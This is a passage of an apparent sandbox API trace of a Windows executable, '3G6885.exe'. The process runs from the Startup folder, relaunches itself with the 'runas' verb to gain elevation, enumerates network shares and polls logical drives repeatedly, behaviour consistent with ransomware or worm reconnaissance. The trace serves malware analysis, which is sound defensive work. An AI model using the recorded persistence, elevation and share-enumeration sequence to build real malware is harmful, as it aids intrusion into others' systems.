cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 0 [0174.435] CloseHandle (hObject=0x348) returned 1 [0174.435] Sleep (dwMilliseconds=0x1f4) Thread: id = 47 os_tid = 0x664 [0129.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x350ff0 [0129.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x35c2b0 [0129.893] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351020 [0129.894] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351020, Size=0x20) returned 0x335d70 [0129.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351020 [0129.894] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351020, Size=0x20) returned 0x335d98 [0129.894] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0129.894] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0129.894] Wow64DisableWow64FsRedirection (in: OldValue=0x22fff28 | out: OldValue=0x22fff28*=0x0) returned 1 [0129.894] lstrlenW (lpString="kernel32.dll") returned 12 [0129.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335d70 | out: hHeap=0x300000) returned 1 [0129.894] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0129.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335d98 | out: hHeap=0x300000) returned 1 [0129.895] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x35c2b0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe")) returned 0x47 [0129.895] ShellExecuteExW (in: pExecInfo=0x22fff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x22fff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0172.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x41d2ad0 [0172.296] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x41d2ad0, Size=0x20) returned 0x41d1f48 [0172.296] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x41d2ad0 [0172.296] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x41d2ad0, Size=0x20) returned 0x41d1f70 [0172.296] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0172.297] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0172.297] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0172.298] lstrlenW (lpString="kernel32.dll") returned 12 [0172.298] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d1f70 | out: hHeap=0x300000) returned 1 [0172.299] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0172.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d1f48 | out: hHeap=0x300000) returned 1 [0172.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c2b0 | out: hHeap=0x300000) returned 1 [0172.299] lstrlenW (lpString="runas") returned 5 [0172.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x350ff0 | out: hHeap=0x300000) returned 1 [0172.299] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x102 [0172.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x334bc8 | out: hHeap=0x300000) returned 1 Thread: id = 48 os_tid = 0x668 [0129.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351068 [0129.902] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351068, Size=0x20) returned 0x335d98 [0129.902] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335d98, Size=0x40) returned 0x336da0 [0129.902] GetLogicalDrives () returned 0x4 [0129.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38eec8 [0129.902] GetComputerNameW (in: lpBuffer=0x38eecc, nSize=0x23fff6c | out: lpBuffer="XDUWTFONO", nSize=0x23fff6c) returned 1 [0129.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1000) returned 0x359470 [0129.903] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23fff3c | out: lphEnum=0x23fff3c*=0x3363d0) returned 0x0 [0129.903] WNetEnumResourceW (in: hEnum=0x3363d0, lpcCount=0x23fff38, lpBuffer=0x359470, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x359470, lpBufferSize=0x23fff40) returned 0x103 [0129.903] WNetCloseEnum (hEnum=0x3363d0) returned 0x0 [0129.903] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23fff3c | out: lphEnum=0x23fff3c*=0x36ed38) returned 0x0 [0132.133] WNetEnumResourceW (in: hEnum=0x36ed38, lpcCount=0x23fff38, lpBuffer=0x359470, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x359470, lpBufferSize=0x23fff40) returned 0x0 [0132.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1000) returned 0x36ee78 [0132.133] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x359470, lphEnum=0x23fff10 | out: lphEnum=0x23fff10*=0x3365d0) returned 0x0 [0132.348] WNetEnumResourceW (in: hEnum=0x3365d0, lpcCount=0x23fff0c, lpBuffer=0x36ee78, lpBufferSize=0x23fff14 | out: lpcCount=0x23fff0c, lpBuffer=0x36ee78, lpBufferSize=0x23fff14) returned 0x103 [0132.348] WNetCloseEnum (hEnum=0x3365d0) returned 0x0 [0132.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1000) returned 0x3af04e0 [0132.348] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x359490, lphEnum=0x23fff10 | out: lphEnum=0x23fff10*=0x0) returned 0x4b8 [0132.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x1000) returned 0x3af7908 [0132.593] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x3594b0, lphEnum=0x23fff10 | out: lphEnum=0x23fff10*=0x0) returned 0x4c6 [0132.595] WNetEnumResourceW (in: hEnum=0x36ed38, lpcCount=0x23fff38, lpBuffer=0x359470, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x359470, lpBufferSize=0x23fff40) returned 0x103 [0132.595] WNetCloseEnum (hEnum=0x36ed38) returned 0x0 [0132.595] GetLogicalDrives () returned 0x4 [0132.595] Sleep (dwMilliseconds=0x64) [0132.865] GetLogicalDrives () returned 0x4 [0132.865] Sleep (dwMilliseconds=0x64) [0133.040] GetLogicalDrives () returned 0x4 [0133.040] Sleep (dwMilliseconds=0x64) [0133.367] GetLogicalDrives () returned 0x4 [0133.367] Sleep (dwMilliseconds=0x64) [0133.674] GetLogicalDrives () returned 0x4 [0133.674] Sleep (dwMilliseconds=0x64) [0133.894] GetLogicalDrives () returned 0x4 [0133.894] Sleep (dwMilliseconds=0x64) [0134.032] GetLogicalDrives () returned 0x4 [0134.032] Sleep (dwMilliseconds=0x64) [0134.448] GetLogicalDrives () returned 0x4 [0134.449] Sleep (dwMilliseconds=0x64) [0134.799] GetLogicalDrives () returned 0x4 [0134.799] Sleep (dwMilliseconds=0x64) [0135.040] GetLogicalDrives () returned 0x4 [0135.040] Sleep (dwMilliseconds=0x64) [0135.356] GetLogicalDrives () returned 0x4 [0135.356] Sleep (dwMilliseconds=0x64) [0135.550] GetLogicalDrives () returned 0x4 [0135.550] Sleep (dwMilliseconds=0x64) [0135.785] GetLogicalDrives () returned 0x4 [0135.785] Sleep (dwMilliseconds=0x64) [0136.018] GetLogicalDrives () returned 0x4 [0136.018] Sleep (dwMilliseconds=0x64) [0136.201] GetLogicalDrives () returned 0x4 [0136.201] Sleep (dwMilliseconds=0x64) [0136.358] GetLogicalDrives () returned 0x4 [0136.358] Sleep (dwMilliseconds=0x64) [0136.684] GetLogicalDrives () returned 0x4 [0136.684] Sleep (dwMilliseconds=0x64) [0136.992] GetLogicalDrives () returned 0x4 [0136.993] Sleep (dwMilliseconds=0x64) [0137.110] GetLogicalDrives () returned 0x4 [0137.110] Sleep (dwMilliseconds=0x64) [0137.369] GetLogicalDrives () returned 0x4 [0137.369] Sleep (dwMilliseconds=0x64) [0137.554] GetLogicalDrives () returned 0x4 [0137.554] Sleep (dwMilliseconds=0x64) [0138.202] GetLogicalDrives () returned 0x4 [0138.202] Sleep (dwMilliseconds=0x64) [0138.941] GetLogicalDrives () returned 0x4 [0138.941] Sleep (dwMilliseconds=0x64) [0139.220] GetLogicalDrives () returned 0x4 [0139.220] Sleep (dwMilliseconds=0x64) [0139.525] GetLogicalDrives () returned 0x4 [0139.525] Sleep (dwMilliseconds=0x64) [0139.740] GetLogicalDrives () returned 0x4 [0139.740] Sleep (dwMilliseconds=0x64) [0140.427] GetLogicalDrives () returned 0x4 [0140.427] Sleep (dwMilliseconds=0x64) [0140.759] GetLogicalDrives () returned 0x4 [0140.759] Sleep (dwMilliseconds=0x64) [0141.076] GetLogicalDrives () returned 0x4 [0141.076] Sleep (dwMilliseconds=0x64) [0141.312] GetLogicalDrives () returned 0x4 [0141.312] Sleep (dwMilliseconds=0x64) [0141.653] GetLogicalDrives () returned 0x4 [0141.653] Sleep (dwMilliseconds=0x64) [0141.869] GetLogicalDrives () returned 0x4 [0141.869] Sleep (dwMilliseconds=0x64) [0142.034] GetLogicalDrives () returned 0x4 [0142.034] Sleep (dwMilliseconds=0x64) [0142.167] GetLogicalDrives () returned 0x4 [0142.167] Sleep (dwMilliseconds=0x64) [0142.311] GetLogicalDrives () returned 0x4 [0142.311] Sleep (dwMilliseconds=0x64) [0142.492] GetLogicalDrives () returned 0x4 [0142.492] Sleep (dwMilliseconds=0x64) [0142.863] GetLogicalDrives () returned 0x4 [0142.863] Sleep (dwMilliseconds=0x64) [0143.521] GetLogicalDrives () returned 0x4 [0143.521] Sleep (dwMilliseconds=0x64) [0143.714] GetLogicalDrives () returned 0x4 [0143.714] Sleep (dwMilliseconds=0x64) [0143.851] GetLogicalDrives () returned 0x4 [0143.852] Sleep (dwMilliseconds=0x64) [0144.057] GetLogicalDrives () returned 0x4 [0144.057] Sleep (dwMilliseconds=0x64) [0144.300] GetLogicalDrives () returned 0x4 [0144.300] Sleep (dwMilliseconds=0x64) [0144.607] GetLogicalDrives () returned 0x4 [0144.607] Sleep (dwMilliseconds=0x64) [0145.027] GetLogicalDrives () returned 0x4 [0145.027] Sleep (dwMilliseconds=0x64) [0145.279] GetLogicalDrives () returned 0x4 [0145.279] Sleep (dwMilliseconds=0x64) [0145.691] GetLogicalDrives () returned 0x4 [0145.691] Sleep (dwMilliseconds=0x64) [0146.154] GetLogicalDrives () returned 0x4 [0146.154] Sleep (dwMilliseconds=0x64) [0146.581] GetLogicalDrives () returned 0x4 [0146.581] Sleep (dwMilliseconds=0x64) [0146.737] GetLogicalDrives () returned 0x4 [0146.737] Sleep (dwMilliseconds=0x64) [0147.070] GetLogicalDrives () returned 0x4 [0147.070] Sleep (dwMilliseconds=0x64) [0147.520] GetLogicalDrives () returned 0x4 [0147.520] Sleep (dwMilliseconds=0x64) [0147.914] GetLogicalDrives () returned 0x4 [0147.914] Sleep (dwMilliseconds=0x64) [0148.377] GetLogicalDrives () returned 0x4 [0148.377] Sleep (dwMilliseconds=0x64) [0148.677] GetLogicalDrives () returned 0x4 [0148.677] Sleep (dwMilliseconds=0x64) [0148.966] GetLogicalDrives () returned 0x4 [0148.966] Sleep (dwMilliseconds=0x64) [0149.153] GetLogicalDrives () returned 0x4 [0149.153] Sleep (dwMilliseconds=0x64) [0149.366] GetLogicalDrives () returned 0x4 [0149.366] Sleep (dwMilliseconds=0x64) [0149.575] GetLogicalDrives () returned 0x4 [0149.575] Sleep (dwMilliseconds=0x64) [0149.813] GetLogicalDrives () returned 0x4 [0149.813] Sleep (dwMilliseconds=0x64) [0150.128] GetLogicalDrives () returned 0x4 [0150.128] Sleep (dwMilliseconds=0x64) [0150.529] GetLogicalDrives () returned 0x4 [0150.529] Sleep (dwMilliseconds=0x64) [0150.985] GetLogicalDrives () returned 0x4 [0150.985] Sleep (dwMilliseconds=0x64) [0151.617] GetLogicalDrives () returned 0x4 [0151.617] Sleep (dwMilliseconds=0x64) [0152.092] GetLogicalDrives () returned 0x4 [0152.092] Sleep (dwMilliseconds=0x64) [0152.282] GetLogicalDrives () returned 0x4 [0152.283] Sleep (dwMilliseconds=0x64) [0152.732] GetLogicalDrives () returned 0x4 [0152.732] Sleep (dwMilliseconds=0x64) [0153.287] GetLogicalDrives () returned 0x4 [0153.287] Sleep (dwMilliseconds=0x64) [0153.652] GetLogicalDrives () returned 0x4 [0153.652] Sleep (dwMilliseconds=0x64) [0154.232] GetLogicalDrives () returned 0x4 [0154.232] Sleep (dwMilliseconds=0x64) [0154.814] GetLogicalDrives () returned 0x4 [0154.814] Sleep (dwMilliseconds=0x64) [0155.219] GetLogicalDrives () returned 0x4 [0155.219] Sleep (dwMilliseconds=0x64) [0156.424] GetLogicalDrives () returned 0x4 [0156.435] Sleep (dwMilliseconds=0x64) [0157.077] GetLogicalDrives () returned 0x4 [0157.077] Sleep (dwMilliseconds=0x64) [0157.464] GetLogicalDrives () returned 0x4 [0157.464] Sleep (dwMilliseconds=0x64) [0157.989] GetLogicalDrives () returned 0x4 [0157.989] Sleep (dwMilliseconds=0x64) [0158.537] GetLogicalDrives () returned 0x4 [0158.537] Sleep (dwMilliseconds=0x64) [0158.743] GetLogicalDrives () returned 0x4 [0158.743] Sleep (dwMilliseconds=0x64) [0159.238] GetLogicalDrives () returned 0x4 [0159.238] Sleep (dwMilliseconds=0x64) [0159.487] GetLogicalDrives () returned 0x4 [0159.487] Sleep (dwMilliseconds=0x64) [0159.769] GetLogicalDrives () returned 0x4 [0159.769] Sleep (dwMilliseconds=0x64) [0160.329] GetLogicalDrives () returned 0x4 [0160.329] Sleep (dwMilliseconds=0x64) [0160.733] GetLogicalDrives () returned 0x4 [0160.733] Sleep (dwMilliseconds=0x64) [0160.842] GetLogicalDrives () returned 0x4 [0160.842] Sleep (dwMilliseconds=0x64) [0161.238] GetLogicalDrives () returned 0x4 [0161.238] Sleep (dwMilliseconds=0x64) [0161.491] GetLogicalDrives () returned 0x4 [0161.491] Sleep (dwMilliseconds=0x64) [0161.716] GetLogicalDrives () returned 0x4 [0161.716] Sleep (dwMilliseconds=0x64) [0162.148] GetLogicalDrives () returned 0x4 [0162.148] Sleep (dwMilliseconds=0x64) [0162.704] GetLogicalDrives () returned 0x4 [0162.704] Sleep (dwMilliseconds=0x64) [0163.274] GetLogicalDrives () returned 0x4 [0163.274] Sleep (dwMilliseconds=0x64) [0163.624] GetLogicalDrives () returned 0x4 [0163.624] Sleep (dwMilliseconds=0x64) [0164.461] GetLogicalDrives () returned 0x4 [0164.462] Sleep (dwMilliseconds=0x64) [0164.664] GetLogicalDrives () returned 0x4 [0164.664] Sleep (dwMilliseconds=0x64) [0165.027] GetLogicalDrives () returned 0x4 [0165.027] Sleep (dwMilliseconds=0x64) [0165.473] GetLogicalDrives () returned 0x4 [0165.473] Sleep (dwMilliseconds=0x64) [0165.863] GetLogicalDrives () returned 0x4 [0165.864] Sleep (dwMilliseconds=0x64) [0165.991] GetLogicalDrives () returned 0x4 [0165.991] Sleep (dwMilliseconds=0x64) [0166.331] GetLogicalDrives () returned 0x4 [0166.331] Sleep (dwMilliseconds=0x64) [0166.500] GetLogicalDrives () returned 0x4 [0166.500] Sleep (dwMilliseconds=0x64) [0166.860] GetLogicalDrives () returned 0x4 [0166.861] Sleep (dwMilliseconds=0x64) [0167.189] GetLogicalDrives () returned 0x4 [0167.189] Sleep (dwMilliseconds=0x64) [0167.574] GetLogicalDrives () returned 0x4 [0167.574] Sleep (dwMilliseconds=0x64) [0167.734] GetLogicalDrives () returned 0x4 [0167.734] Sleep (dwMilliseconds=0x64) [0168.064] GetLogicalDrives () returned 0x4 [0168.064] Sleep (dwMilliseconds=0x64) [0168.270] GetLogicalDrives () returned 0x4 [0168.270] Sleep (dwMilliseconds=0x64) [0168.559] GetLogicalDrives () returned 0x4 [0168.559] Sleep (dwMilliseconds=0x64) [0168.823] GetLogicalDrives () returned 0x4 [0168.823] Sleep (dwMilliseconds=0x64) [0169.025] GetLogicalDrives () returned 0x4 [0169.025] Sleep (dwMilliseconds=0x64) [0169.368] GetLogicalDrives () returned 0x4 [0169.369] Sleep (dwMilliseconds=0x64) [0169.903] GetLogicalDrives () returned 0x4 [0169.903] Sleep (dwMilliseconds=0x64) [0170.271] GetLogicalDrives () returned 0x4 [0170.271] Sleep (dwMilliseconds=0x64) [0170.517] GetLogicalDrives () returned 0x4 [0170.517] Sleep (dwMilliseconds=0x64) [0170.812] GetLogicalDrives () returned 0x4 [0170.812] Sleep (dwMilliseconds=0x64) [0171.092] GetLogicalDrives () returned 0x4 [0171.092] Sleep (dwMilliseconds=0x64) [0171.341] GetLogicalDrives () returned 0x4 [0171.341] Sleep (dwMilliseconds=0x64) [0171.522] GetLogicalDrives () returned 0x4 [0171.522] Sleep (dwMilliseconds=0x64) [0171.834] GetLogicalDrives () returned 0x4 [0171.834] Sleep (dwMilliseconds=0x64) [0171.945] GetLogicalDrives () returned 0x4 [0171.945] Sleep (dwMilliseconds=0x64) [0172.129] GetLogicalDrives () returned 0x4 [0172.129] Sleep (dwMilliseconds=0x64) [0172.238] GetLogicalDrives () returned 0x4 [0172.238] Sleep (dwMilliseconds=0x64) [0172.342] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0172.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x336da0 | out: hHeap=0x300000) returned 1 Thread: id = 49 os_tid = 0x66c [0131.755] GetTickCount () returned 0x1131075 [0131.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x24) returned 0x3579e0 [0131.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x3579e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0132.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x3579e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0132.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x3579e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0132.037] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x3579e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0132.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3511d0 [0132.038] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3511d0, Size=0x20) returned 0x335e88 [0132.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3511d0 [0132.038] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3511d0, Size=0x20) returned 0x335eb0 [0132.039] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.109] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.109] Wow64DisableWow64FsRedirection (in: OldValue=0x24fff84 | out: OldValue=0x24fff84*=0x0) returned 1 [0132.109] lstrlenW (lpString="kernel32.dll") returned 12 [0132.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335e88 | out: hHeap=0x300000) returned 1 [0132.109] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335eb0 | out: hHeap=0x300000) returned 1 [0132.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x33ae80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160 [0132.112] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0132.476] GetTickCount () returned 0x1131249 [0132.476] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0132.712] GetTickCount () returned 0x1131333 [0132.712] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0132.926] GetTickCount () returned 0x113140e [0132.926] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0133.080] GetTickCount () returned 0x11314aa [0133.080] GetTickCount () returned 0x11314aa [0133.080] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0133.368] GetTickCount () returned 0x11315a3 [0133.369] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0133.674] GetTickCount () returned 0x11316cc [0133.674] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0133.895] GetTickCount () returned 0x11317a6 [0133.895] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0134.032] GetTickCount () returned 0x1131832 [0134.032] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0134.449] GetTickCount () returned 0x11319c8 [0134.449] GetTickCount () returned 0x11319c8 [0134.449] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0134.799] GetTickCount () returned 0x1131b2f [0134.799] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0135.040] GetTickCount () returned 0x1131c28 [0135.040] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0135.357] GetTickCount () returned 0x1131d60 [0135.357] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0135.549] GetTickCount () returned 0x1131e0c [0135.549] GetTickCount () returned 0x1131e0c [0135.549] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0135.786] GetTickCount () returned 0x1131ef6 [0135.786] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0136.019] GetTickCount () returned 0x1131fd0 [0136.019] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0136.201] GetTickCount () returned 0x113208c [0136.201] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0136.358] GetTickCount () returned 0x1132128 [0136.358] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0136.684] GetTickCount () returned 0x1132202 [0136.684] GetTickCount () returned 0x1132202 [0136.684] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0136.992] GetTickCount () returned 0x113232b [0136.992] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0137.111] GetTickCount () returned 0x1132398 [0137.111] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0137.369] GetTickCount () returned 0x11324a1 [0137.369] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0137.554] GetTickCount () returned 0x113253d [0137.554] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0138.201] GetTickCount () returned 0x11327ad [0138.202] GetTickCount () returned 0x11327ad [0138.202] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0138.941] GetTickCount () returned 0x1132a6b [0138.941] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0139.220] GetTickCount () returned 0x1132b84 [0139.220] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0139.525] GetTickCount () returned 0x1132c9d [0139.525] GetTickCount () returned 0x1132c9d [0139.525] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0139.739] GetTickCount () returned 0x1132d67 [0139.739] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0140.427] GetTickCount () returned 0x1133006 [0140.427] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0140.758] GetTickCount () returned 0x113312f [0140.758] GetTickCount () returned 0x113312f [0140.758] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0141.075] GetTickCount () returned 0x1133267 [0141.075] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0141.312] GetTickCount () returned 0x1133351 [0141.312] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0141.653] GetTickCount () returned 0x11334a8 [0141.653] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0141.869] GetTickCount () returned 0x1133582 [0141.869] GetTickCount () returned 0x1133582 [0141.869] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0142.034] GetTickCount () returned 0x113361e [0142.034] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0142.167] GetTickCount () returned 0x11336ab [0142.167] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0142.311] GetTickCount () returned 0x1133737 [0142.311] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0142.492] GetTickCount () returned 0x11337f2 [0142.492] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0142.863] GetTickCount () returned 0x1133959 [0142.863] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0143.522] GetTickCount () returned 0x1133bf8 [0143.522] GetTickCount () returned 0x1133bf8 [0143.522] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0143.714] GetTickCount () returned 0x1133cb3 [0143.714] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0143.852] GetTickCount () returned 0x1133d3f [0143.852] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0144.057] GetTickCount () returned 0x1133e0a [0144.057] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0144.300] GetTickCount () returned 0x1133f04 [0144.300] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0144.607] GetTickCount () returned 0x113402c [0144.607] GetTickCount () returned 0x113402c [0144.607] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0145.027] GetTickCount () returned 0x11341d1 [0145.027] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0145.279] GetTickCount () returned 0x11342cb [0145.279] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0145.691] GetTickCount () returned 0x1134470 [0145.691] GetTickCount () returned 0x1134470 [0145.691] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0146.155] GetTickCount () returned 0x1134635 [0146.155] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0146.581] GetTickCount () returned 0x11347e9 [0146.582] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0146.737] GetTickCount () returned 0x1134885 [0146.737] GetTickCount () returned 0x1134885 [0146.737] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0147.070] GetTickCount () returned 0x11349cd [0147.070] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0147.519] GetTickCount () returned 0x1134b91 [0147.519] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0147.913] GetTickCount () returned 0x1134d17 [0147.913] GetTickCount () returned 0x1134d17 [0147.913] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0148.378] GetTickCount () returned 0x1134eeb [0148.378] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0x64) returned 0x102 [0148.677] GetTickCount () returned 0x1135014 [0148.677] WaitForSingleObject (hHandle=0x160, 